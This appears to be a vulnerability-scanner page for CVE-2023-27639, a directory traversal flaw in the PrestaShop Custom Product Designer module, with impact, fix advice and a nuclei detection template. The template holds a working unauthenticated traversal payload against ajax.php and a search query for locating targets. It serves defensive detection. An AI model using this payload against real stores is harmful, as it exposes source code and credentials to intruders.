PrestaShop TshirteCommerce - Directory Traversal

highseverity

7.5CVSS score

3.6%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.

Impact

Unauthenticated attackers can exploit directory traversal in the Custom Product Designer module to read arbitrary files including source code and configuration files, potentially accessing database credentials and sensitive PrestaShop configuration.

Fix

Update the Custom Product Designer (tshirtecommerce) module for PrestaShop to a patched version that validates file paths and prevents directory traversal in ajax.php.

How to confirm it

Send: POST {{BaseURL}}/tshirtecommerce/ajax.php?type=svg
Positive when: contains "SqlFormatter Examples" and "SqlFormatter" and "<?php" AND status 200

Run it with nuclei: nuclei -id CVE-2023-27639 -u <target>

The full check

id: CVE-2023-27639

info:
  name: PrestaShop TshirteCommerce - Directory Traversal
  author: MaStErChO
  severity: high
  description: |
    The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.
  impact: |
    Unauthenticated attackers can exploit directory traversal in the Custom Product Designer module to read arbitrary files including source code and configuration files, potentially accessing database credentials and sensitive PrestaShop configuration.
  remediation: |
    Update the Custom Product Designer (tshirtecommerce) module for PrestaShop to a patched version that validates file paths and prevents directory traversal in ajax.php.
  reference:
    - https://www.cvedetails.com/cve/CVE-2023-27639/
    - https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27639
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-27639
    cwe-id: CWE-22
    epss-score: 0.03551
    epss-percentile: 0.89409
    cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tshirtecommerce
    product: custom_product_designer
    framework: prestashop
    google-query: inurl:"/tshirtecommerce/"
  tags: cve,cve2023,prestashop,tshirtecommerce,lfi,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/tshirtecommerce/ajax.php?type=svg"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "url=.%2F..%2Fvendor%2Fjdorn%2Fsql-formatter%2Fexamples&file_name=examples.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "SqlFormatter Examples"
          - "SqlFormatter"
          - "<?php"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from